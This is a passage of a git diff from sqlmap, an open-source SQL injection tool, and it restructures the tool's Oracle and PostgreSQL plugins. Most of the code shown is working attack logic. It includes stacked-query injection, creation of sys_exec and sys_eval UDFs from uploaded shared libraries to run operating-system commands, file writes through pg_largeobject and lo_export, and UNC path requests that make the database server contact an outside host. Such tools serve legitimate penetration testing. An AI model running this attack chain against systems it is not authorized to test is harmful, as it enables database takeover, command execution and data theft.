C:\WINDOWS\system, + # C:\WINDOWS\system32, @@basedir\bin or @@datadir + self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt) + + # On Linux + else: + # The SO can be in either /lib, /usr/lib or one of the + # paths specified in /etc/ld.so.conf file, none of these + # paths are writable by mysql user by default + self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) + + def udfSetLocalPaths(self): + self.udfLocalFile = paths.SQLMAP_UDF_PATH + self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) + + if kb.os == "Windows": + self.udfLocalFile += "/mysql/windows/32/lib_mysqludf_sys.dll" + self.udfSharedLibExt = "dll" + else: + self.udfLocalFile += "/mysql/linux/32/lib_mysqludf_sys.so" + self.udfSharedLibExt = "so" + + def udfCreateFromSharedLib(self, udf, inpRet): + if udf in self.udfToCreate: + logger.info("creating UDF '%s' from the binary UDF file" % udf) + + ret = inpRet["return"] + + # Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html + inject.goStacked("DROP FUNCTION %s" % udf) + inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt)) + + self.createdUdf.add(udf) + else: + logger.debug("keeping existing UDF '%s' as requested" % udf) + + def uncPathRequest(self): + if not kb.stackedTest: + query = agent.prefixQuery(" AND LOAD_FILE('%s')" % self.uncPath) + query = agent.postfixQuery(query) + payload = agent.payload(newValue=query) + + Request.queryPage(payload) + else: + inject.goStacked("SELECT LOAD_FILE('%s')" % self.uncPath, silent=True) diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py new file mode 100644 index 000000000..ca88c1de4 --- /dev/null +++ b/plugins/dbms/oracle/__init__.py @@ -0,0 +1,50 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.settings import ORACLE_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.oracle.enumeration import Enumeration +from plugins.dbms.oracle.filesystem import Filesystem +from plugins.dbms.oracle.fingerprint import Fingerprint +from plugins.dbms.oracle.syntax import Syntax +from plugins.dbms.oracle.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class OracleMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Oracle methods + """ + + def __init__(self): + self.excludeDbsList = ORACLE_SYSTEM_DBS + + Syntax.__init__(self) + Fingerprint.__init__(self) + Enumeration.__init__(self) + Filesystem.__init__(self) + Miscellaneous.__init__(self) + Takeover.__init__(self) + + unescaper.setUnescape(OracleMap.unescape) diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py new file mode 100644 index 000000000..25552d4a8 --- /dev/null +++ b/plugins/dbms/oracle/enumeration.py @@ -0,0 +1,37 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.data import logger + +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def __init__(self): + GenericEnumeration.__init__(self, "Oracle") + + def getDbs(self): + warnMsg = "on Oracle it is not possible to enumerate databases" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py new file mode 100644 index 000000000..6df07d5f7 --- /dev/null +++ b/plugins/dbms/oracle/filesystem.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.exception import sqlmapUnsupportedFeatureException + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def __init__(self): + GenericFilesystem.__init__(self) + + def readFile(self, rFile): + errMsg = "File system read access not yet implemented for " + errMsg += "Oracle" + raise sqlmapUnsupportedFeatureException, errMsg + + def writeFile(self, wFile, dFile, fileType=None, confirm=True): + errMsg = "File system write access not yet implemented for " + errMsg += "Oracle" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/oracle.py b/plugins/dbms/oracle/fingerprint.py similarity index 52% rename from plugins/dbms/oracle.py rename to plugins/dbms/oracle/fingerprint.py index e3c7b808d..182f4d972 100644 --- a/plugins/dbms/oracle.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -31,89 +31,16 @@ from lib.core.common import getHtmlErrorFp from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger -from lib.core.exception import sqlmapSyntaxException -from lib.core.exception import sqlmapUnsupportedFeatureException from lib.core.session import setDbms from lib.core.settings import ORACLE_ALIASES -from lib.core.settings import ORACLE_SYSTEM_DBS -from lib.core.unescaper import unescaper from lib.request import inject from lib.request.connect import Connect as Request -from plugins.generic.enumeration import Enumeration -from plugins.generic.filesystem import Filesystem -from plugins.generic.fingerprint import Fingerprint -from plugins.generic.misc import Miscellaneous -from plugins.generic.takeover import Takeover - -class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): - """ - This class defines Oracle methods - """ +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint +class Fingerprint(GenericFingerprint): def __init__(self): - self.excludeDbsList = ORACLE_SYSTEM_DBS - - Enumeration.__init__(self, "Oracle") - Filesystem.__init__(self) - Takeover.__init__(self) - - unescaper.setUnescape(OracleMap.unescape) - - @staticmethod - def unescape(expression, quote=True): - if quote: - while True: - index = expression.find("'") - if index == -1: - break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - #unescaped = "(" - unescaped = "" - - for i in range(firstIndex, lastIndex): - unescaped += "CHR(%d)" % (ord(expression[i])) - if i < lastIndex - 1: - unescaped += "||" - - #unescaped += ")" - expression = expression.replace(old, unescaped) - else: - expression = "||".join("CHR(%d)" % ord(c) for c in expression) - - return expression - - @staticmethod - def escape(expression): - while True: - index = expression.find("CHR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find("))") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.replace("CHR(", "").replace(")", "") - oldUpper = oldUpper.split("||") - - escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) - expression = expression.replace(old, escaped) - - return expression + GenericFingerprint.__init__(self) def getFingerprint(self): value = "" @@ -218,39 +145,3 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): if conf.tbl: conf.tbl = conf.tbl.upper() - - def getDbs(self): - warnMsg = "on Oracle it is not possible to enumerate databases" - logger.warn(warnMsg) - - return [] - - def readFile(self, rFile): - errMsg = "File system read access not yet implemented for " - errMsg += "Oracle" - raise sqlmapUnsupportedFeatureException, errMsg - - def writeFile(self, wFile, dFile, fileType=None, confirm=True): - errMsg = "File system write access not yet implemented for " - errMsg += "Oracle" - raise sqlmapUnsupportedFeatureException, errMsg - - def osCmd(self): - errMsg = "Operating system command execution functionality not " - errMsg += "yet implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg - - def osShell(self): - errMsg = "Operating system shell functionality not yet " - errMsg += "implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg - - def osPwn(self): - errMsg = "Operating system out-of-band control functionality " - errMsg += "not yet implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg - - def osSmb(self): - errMsg = "One click operating system out-of-band control " - errMsg += "functionality not yet implemented for Oracle" - raise sqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py new file mode 100644 index 000000000..ad2304552 --- /dev/null +++ b/plugins/dbms/oracle/syntax.py @@ -0,0 +1,85 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.exception import sqlmapSyntaxException +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + def __init__(self): + GenericSyntax.__init__(self) + + @staticmethod + def unescape(expression, quote=True): + if quote: + while True: + index = expression.find("'") + if index == -1: + break + + firstIndex = index + 1 + index = expression[firstIndex:].find("'") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression + + lastIndex = firstIndex + index + old = "'%s'" % expression[firstIndex:lastIndex] + #unescaped = "(" + unescaped = "" + + for i in range(firstIndex, lastIndex): + unescaped += "CHR(%d)" % (ord(expression[i])) + if i < lastIndex - 1: + unescaped += "||" + + #unescaped += ")" + expression = expression.replace(old, unescaped) + else: + expression = "||".join("CHR(%d)" % ord(c) for c in expression) + + return expression + + @staticmethod + def escape(expression): + while True: + index = expression.find("CHR(") + if index == -1: + break + + firstIndex = index + index = expression[firstIndex:].find("))") + + if index == -1: + raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression + + lastIndex = firstIndex + index + 1 + old = expression[firstIndex:lastIndex] + oldUpper = old.upper() + oldUpper = oldUpper.replace("CHR(", "").replace(")", "") + oldUpper = oldUpper.split("||") + + escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) + expression = expression.replace(old, escaped) + + return expression diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py new file mode 100644 index 000000000..e54e42264 --- /dev/null +++ b/plugins/dbms/oracle/takeover.py @@ -0,0 +1,51 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.exception import sqlmapUnsupportedFeatureException + +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def __init__(self): + GenericTakeover.__init__(self) + + def osCmd(self): + errMsg = "Operating system command execution functionality not " + errMsg += "yet implemented for Oracle" + raise sqlmapUnsupportedFeatureException, errMsg + + def osShell(self): + errMsg = "Operating system shell functionality not yet " + errMsg += "implemented for Oracle" + raise sqlmapUnsupportedFeatureException, errMsg + + def osPwn(self): + errMsg = "Operating system out-of-band control functionality " + errMsg += "not yet implemented for Oracle" + raise sqlmapUnsupportedFeatureException, errMsg + + def osSmb(self): + errMsg = "One click operating system out-of-band control " + errMsg += "functionality not yet implemented for Oracle" + raise sqlmapUnsupportedFeatureException, errMsg diff --git a/plugins/dbms/postgresql.py b/plugins/dbms/postgresql.py deleted file mode 100644 index 0e87425b4..000000000 --- a/plugins/dbms/postgresql.py +++ /dev/null @@ -1,439 +0,0 @@ -#!/usr/bin/env python - -""" -$Id$ - -This file is part of the sqlmap project, http://sqlmap.sourceforge.net. - -Copyright (c) 2007-2010 Bernardo Damele A. G. -Copyright (c) 2006 Daniele Bellucci - -sqlmap is free software; you can redistribute it and/or modify it under -the terms of the GNU General Public License as published by the Free -Software Foundation version 2 of the License. - -sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY -WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS -FOR A PARTICULAR PURPOSE. See the GNU General Public License for more -details. - -You should have received a copy of the GNU General Public License along -with sqlmap; if not, write to the Free Software Foundation, Inc., 51 -Franklin St, Fifth Floor, Boston, MA 02110-1301 USA -""" - -import os -import re - -from lib.core.agent import agent -from lib.core.common import formatDBMSfp -from lib.core.common import formatFingerprint -from lib.core.common import getHtmlErrorFp -from lib.core.common import getRange -from lib.core.common import randomInt -from lib.core.common import randomStr -from lib.core.data import conf -from lib.core.data import kb -from lib.core.data import logger -from lib.core.data import paths -from lib.core.exception import sqlmapNoneDataException -from lib.core.exception import sqlmapSyntaxException -from lib.core.exception import sqlmapUnsupportedFeatureException -from lib.core.session import setDbms -from lib.core.settings import PGSQL_ALIASES -from lib.core.settings import PGSQL_SYSTEM_DBS -from lib.core.unescaper import unescaper -from lib.request import inject -from lib.request.connect import Connect as Request - -from plugins.generic.enumeration import Enumeration -from plugins.generic.filesystem import Filesystem -from plugins.generic.fingerprint import Fingerprint -from plugins.generic.misc import Miscellaneous -from plugins.generic.takeover import Takeover - - -class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): - """ - This class defines PostgreSQL methods - """ - - def __init__(self): - self.excludeDbsList = PGSQL_SYSTEM_DBS - self.sysUdfs = { - # UDF name: UDF parameters' input data-type and return data-type - "sys_exec": { "input": [ "text" ], "return": "int4" }, - "sys_eval": { "input": [ "text" ], "return": "text" }, - "sys_bineval": { "input": [ "text" ], "return": "int4" }, - "sys_fileread": { "input": [ "text" ], "return": "text" } - } - - Enumeration.__init__(self, "PostgreSQL") - Filesystem.__init__(self) - Takeover.__init__(self) - - unescaper.setUnescape(PostgreSQLMap.unescape) - - @staticmethod - def unescape(expression, quote=True): - if quote: - while True: - index = expression.find("'") - if index == -1: - break - - firstIndex = index + 1 - index = expression[firstIndex:].find("'") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ' in '%s'" % expression - - lastIndex = firstIndex + index - old = "'%s'" % expression[firstIndex:lastIndex] - #unescaped = "(" - unescaped = "" - - for i in range(firstIndex, lastIndex): - unescaped += "CHR(%d)" % (ord(expression[i])) - if i < lastIndex - 1: - unescaped += "||" - - #unescaped += ")" - expression = expression.replace(old, unescaped) - else: - expression = "||".join("CHR(%d)" % ord(c) for c in expression) - - return expression - - @staticmethod - def escape(expression): - while True: - index = expression.find("CHR(") - if index == -1: - break - - firstIndex = index - index = expression[firstIndex:].find("))") - - if index == -1: - raise sqlmapSyntaxException, "Unenclosed ) in '%s'" % expression - - lastIndex = firstIndex + index + 1 - old = expression[firstIndex:lastIndex] - oldUpper = old.upper() - oldUpper = oldUpper.replace("CHR(", "").replace(")", "") - oldUpper = oldUpper.split("||") - - escaped = "'%s'" % "".join([chr(int(char)) for char in oldUpper]) - expression = expression.replace(old, escaped) - - return expression - - def getFingerprint(self): - value = "" - wsOsFp = formatFingerprint("web server", kb.headersFp) - - if wsOsFp: - value += "%s\n" % wsOsFp - - if kb.data.banner: - dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp) - - if dbmsOsFp: - value += "%s\n" % dbmsOsFp - - value += "back-end DBMS: " - - if not conf.extensiveFp: - value += "PostgreSQL" - return value - - actVer = formatDBMSfp() - blank = " " * 15 - value += "active fingerprint: %s" % actVer - - if kb.bannerFp: - banVer = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None - banVer = formatDBMSfp([banVer]) - value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) - - htmlErrorFp = getHtmlErrorFp() - - if htmlErrorFp: - value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) - - return value - - def checkDbms(self): - """ - References for fingerprint: - - * http://www.postgresql.org/docs/8.4/interactive/release.html (up to 8.4.2) - """ - - if conf.dbms in PGSQL_ALIASES: - setDbms("PostgreSQL") - - self.getBanner() - - if not conf.extensiveFp: - return True - - infoMsg = "testing PostgreSQL" - logger.info(infoMsg) - - randInt = str(randomInt(1)) - - payload = agent.fullPayload(" AND %s::int=%s" % (randInt, randInt)) - result = Request.queryPage(payload) - - if result: - infoMsg = "confirming PostgreSQL" - logger.info(infoMsg) - - payload = agent.fullPayload(" AND COALESCE(%s, NULL)=%s" % (randInt, randInt)) - result = Request.queryPage(payload) - - if not result: - warnMsg = "the back-end DMBS is not PostgreSQL" - logger.warn(warnMsg) - - return False - - setDbms("PostgreSQL") - - self.getBanner() - - if not conf.extensiveFp: - return True - - if inject.getValue("DIV(6, 3)", unpack=False, charsetType=2) == "2": - kb.dbmsVersion = [">= 8.4.0"] - elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP()::text, 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ) and not inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2) in ( "1", "2" ): - kb.dbmsVersion = [">= 8.3.0", "< 8.4"] - elif inject.getValue("SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)", unpack=False, charsetType=2): - kb.dbmsVersion = [">= 8.2.0", "< 8.3.0"] - elif inject.getValue("GREATEST(5, 9, 1)", unpack=False, charsetType=2) == "9": - kb.dbmsVersion = [">= 8.1.0", "< 8.2.0"] - elif inject.getValue("WIDTH_BUCKET(5.35, 0.024, 10.06, 5)", unpack=False, charsetType=2) == "3": - kb.dbmsVersion = [">= 8.0.0", "< 8.1.0"] - elif inject.getValue("SUBSTR(MD5('sqlmap'), 1, 1)", unpack=False): - kb.dbmsVersion = [">= 7.4.0", "< 8.0.0"] - elif inject.getValue("SUBSTR(CURRENT_SCHEMA(), 1, 1)", unpack=False) == "p": - kb.dbmsVersion = [">= 7.3.0", "< 7.4.0"] - elif inject.getValue("BIT_LENGTH(1)") == "8": - kb.dbmsVersion = [">= 7.2.0", "< 7.3.0"] - elif inject.getValue("SUBSTR(QUOTE_LITERAL('a'), 2, 1)", unpack=False) == "a": - kb.dbmsVersion = [">= 7.1.0", "< 7.2.0"] - elif inject.getValue("POW(2, 3)", unpack=False, charsetType=2) == "8": - kb.dbmsVersion = [">= 7.0.0", "< 7.1.0"] - elif inject.getValue("MAX('a')") == "a": - kb.dbmsVersion = [">= 6.5.0", "< 6.5.3"] - elif re.search("([\d\.]+)", inject.getValue("SUBSTR(VERSION(), 12, 5)", unpack=False)): - kb.dbmsVersion = [">= 6.4.0", "< 6.5.0"] - elif inject.getValue("SUBSTR(CURRENT_DATE, 1, 1)", unpack=False, charsetType=2) == "2": - kb.dbmsVersion = [">= 6.3.0", "< 6.4.0"] - elif inject.getValue("SUBSTRING('sqlmap', 1, 1)", unpack=False) == "s": - kb.dbmsVersion = [">= 6.2.0", "< 6.3.0"] - else: - kb.dbmsVersion = ["< 6.2.0"] - - return True - else: - warnMsg = "the back-end DMBS is not PostgreSQL" - logger.warn(warnMsg) - - return False - - def checkDbmsOs(self, detailed=False): - if kb.os: - return - - infoMsg = "fingerprinting the back-end DBMS operating system" - logger.info(infoMsg) - - self.createSupportTbl(self.fileTblName, self.tblField, "character(1000)") - inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()")) - - # Windows executables should always have ' Visual C++' or ' mingw' - # patterns within the banner - osWindows = ( " Visual C++", "mingw" ) - - for osPattern in osWindows: - query = "(SELECT LENGTH(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) - query += "LIKE '%" + osPattern + "%')>0" - query = agent.forgeCaseStatement(query) - - if inject.getValue(query, charsetType=1) == "1": - kb.os = "Windows" - - break - - if kb.os is None: - kb.os = "Linux" - - infoMsg = "the back-end DBMS operating system is %s" % kb.os - logger.info(infoMsg) - - self.cleanup(onlyFileTbl=True) - - def forceDbmsEnum(self): - if conf.db not in PGSQL_SYSTEM_DBS and conf.db != "public": - conf.db = "public" - - warnMsg = "on PostgreSQL it is only possible to enumerate " - warnMsg += "on the current schema and on system databases, " - warnMsg += "sqlmap is going to use 'public' schema as " - warnMsg += "database name" - logger.warn(warnMsg) - - def unionReadFile(self, rFile): - errMsg = "PostgreSQL does not support file reading with UNION " - errMsg += "query SQL injection technique" - raise sqlmapUnsupportedFeatureException, errMsg - - def stackedReadFile(self, rFile): - infoMsg = "fetching file: '%s'" % rFile - logger.info(infoMsg) - - self.initEnv() - - return self.udfEvalCmd(cmd="'%s'" % rFile, udfName="sys_fileread") - - def unionWriteFile(self, wFile, dFile, fileType, confirm=True): - errMsg = "PostgreSQL does not support file upload with UNION " - errMsg += "query SQL injection technique" - raise sqlmapUnsupportedFeatureException, errMsg - - def stackedWriteFile(self, wFile, dFile, fileType, confirm=True): - wFileSize = os.path.getsize(wFile) - - if wFileSize > 8192: - errMsg = "on PostgreSQL it is not possible to write files " - errMsg += "bigger than 8192 bytes at the moment" - raise sqlmapUnsupportedFeatureException, errMsg - - self.oid = randomInt() - - debugMsg = "creating a support table to write the base64 " - debugMsg += "encoded file to" - logger.debug(debugMsg) - - self.createSupportTbl(self.fileTblName, self.tblField, "text") - - logger.debug("encoding file to its base64 string value") - fcEncodedList = self.fileEncode(wFile, "base64", False) - - debugMsg = "forging SQL statements to write the base64 " - debugMsg += "encoded file to the support table" - logger.debug(debugMsg) - - sqlQueries = self.fileToSqlQueries(fcEncodedList) - - logger.debug("inserting the base64 encoded file to the support table") - - for sqlQuery in sqlQueries: - inject.goStacked(sqlQuery) - - debugMsg = "create a new OID for a large object, it implicitly " - debugMsg += "adds an entry in the large objects system table" - logger.debug(debugMsg) - - # References: - # http://www.postgresql.org/docs/8.3/interactive/largeobjects.html - # http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html - inject.goStacked("SELECT lo_unlink(%d)" % self.oid) - inject.goStacked("SELECT lo_create(%d)" % self.oid) - - debugMsg = "updating the system large objects table assigning to " - debugMsg += "the just created OID the binary (base64 decoded) UDF " - debugMsg += "as data" - logger.debug(debugMsg) - - # Refereces: - # * http://www.postgresql.org/docs/8.3/interactive/catalog-pg-largeobject.html - # * http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql - # - # NOTE: From PostgreSQL site: - # - # "The data stored in the large object will never be more than - # LOBLKSIZE bytes and might be less which is BLCKSZ/4, or - # typically 2 Kb" - # - # As a matter of facts it was possible to store correctly a file - # large 13776 bytes, the problem arises at next step (lo_export()) - inject.goStacked("UPDATE pg_largeobject SET data=(DECODE((SELECT %s FROM %s), 'base64')) WHERE loid=%d" % (self.tblField, self.fileTblName, self.oid)) - - debugMsg = "exporting the OID %s file content to " % fileType - debugMsg += "file '%s'" % dFile - logger.debug(debugMsg) - - # NOTE: lo_export() exports up to only 8192 bytes of the file - # (pg_largeobject 'data' field) - inject.goStacked("SELECT lo_export(%d, '%s')" % (self.oid, dFile), silent=True) - - if confirm: - self.askCheckWrittenFile(wFile, dFile, fileType) - - inject.goStacked("SELECT lo_unlink(%d)" % self.oid) - - def udfSetRemotePath(self): - # On Windows - if kb.os == "Windows": - # The DLL can be in any folder where postgres user has - # read/write/execute access is valid - # NOTE: by not specifing any path, it will save into the - # data directory, on PostgreSQL 8.3 it is - # C:\Program Files\PostgreSQL\8.3\data. - self.udfRemoteFile = "%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) - - # On Linux - else: - # The SO can be in any folder where postgres user has - # read/write/execute access is valid - self.udfRemoteFile = "/tmp/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt) - - def udfSetLocalPaths(self): - self.udfLocalFile = paths.SQLMAP_UDF_PATH - self.udfSharedLibName = "libs%s" % randomStr(lowercase=True) - - self.getVersionFromBanner() - - banVer = kb.bannerFp["dbmsVersion"] - - if banVer >= "8.4": - majorVer = "8.4" - elif banVer >= "8.3": - majorVer = "8.3" - elif banVer >= "8.2": - majorVer = "8.2" - else: - errMsg = "unsupported feature on versions of PostgreSQL before 8.2" - raise sqlmapUnsupportedFeatureException, errMsg - - if kb.os == "Windows": - self.udfLocalFile += "/postgresql/windows/32/%s/lib_postgresqludf_sys.dll" % majorVer - self.udfSharedLibExt = "dll" - else: - self.udfLocalFile += "/postgresql/linux/32/%s/lib_postgresqludf_sys.so" % majorVer - self.udfSharedLibExt = "so" - - def udfCreateFromSharedLib(self, udf, inpRet): - if udf in self.udfToCreate: - logger.info("creating UDF '%s' from the binary UDF file" % udf) - - inp = ", ".join(i for i in inpRet["input"]) - ret = inpRet["return"] - - # Reference: http://www.postgresql.org/docs/8.3/interactive/sql-createfunction.html - inject.goStacked("DROP FUNCTION %s" % udf) - inject.goStacked("CREATE OR REPLACE FUNCTION %s(%s) RETURNS %s AS '%s', '%s' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE" % (udf, inp, ret, self.udfRemoteFile, udf)) - - self.createdUdf.add(udf) - else: - logger.debug("keeping existing UDF '%s' as requested" % udf) - - def uncPathRequest(self): - self.createSupportTbl(self.fileTblName, self.tblField, "text") - inject.goStacked("COPY %s(%s) FROM '%s'" % (self.fileTblName, self.tblField, self.uncPath), silent=True) - self.cleanup(onlyFileTbl=True) diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py new file mode 100644 index 000000000..87b45c293 --- /dev/null +++ b/plugins/dbms/postgresql/__init__.py @@ -0,0 +1,57 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the GNU General Public License along +with sqlmap; if not, write to the Free Software Foundation, Inc., 51 +Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +""" + +from lib.core.settings import PGSQL_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.postgresql.enumeration import Enumeration +from plugins.dbms.postgresql.filesystem import Filesystem +from plugins.dbms.postgresql.fingerprint import Fingerprint +from plugins.dbms.postgresql.syntax import Syntax +from plugins.dbms.postgresql.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class PostgreSQLMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines PostgreSQL methods + """ + + def __init__(self): + self.excludeDbsList = PGSQL_SYSTEM_DBS + self.sysUdfs = { + # UDF name: UDF parameters' input data-type and return data-type + "sys_exec": { "input": [ "text" ], "return": "int4" }, + "sys_eval": { "input": [ "text" ], "return": "text" }, + "sys_bineval": { "input": [ "text" ], "return": "int4" }, + "sys_fileread": { "input": [ "text" ], "return": "text" } + } + + Syntax.__init__(self) + Fingerprint.__init__(self) + Enumeration.__init__(self) + Filesystem.__init__(self) + Miscellaneous.__init__(self) + Takeover.__init__(self) + + unescaper.setUnescape(PostgreSQLMap.unescape) diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py new file mode 100644 index 000000000..7e310cf3a --- /dev/null +++ b/plugins/dbms/postgresql/enumeration.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +$Id$ + +This file is part of the sqlmap project, http://sqlmap.sourceforge.net. + +Copyright (c) 2007-2010 Bernardo Damele A. G. +Copyright (c) 2006 Daniele Bellucci + +sqlmap is free software; you can redistribute it and/or modify it under +the terms of the GNU General Public License as published by the Free +Software Foundation version 2 of the License. + +sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY +WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS +FOR A PARTICULAR PURPOSE. See the GNU General Public License for more +details. + +You should have received a copy of the 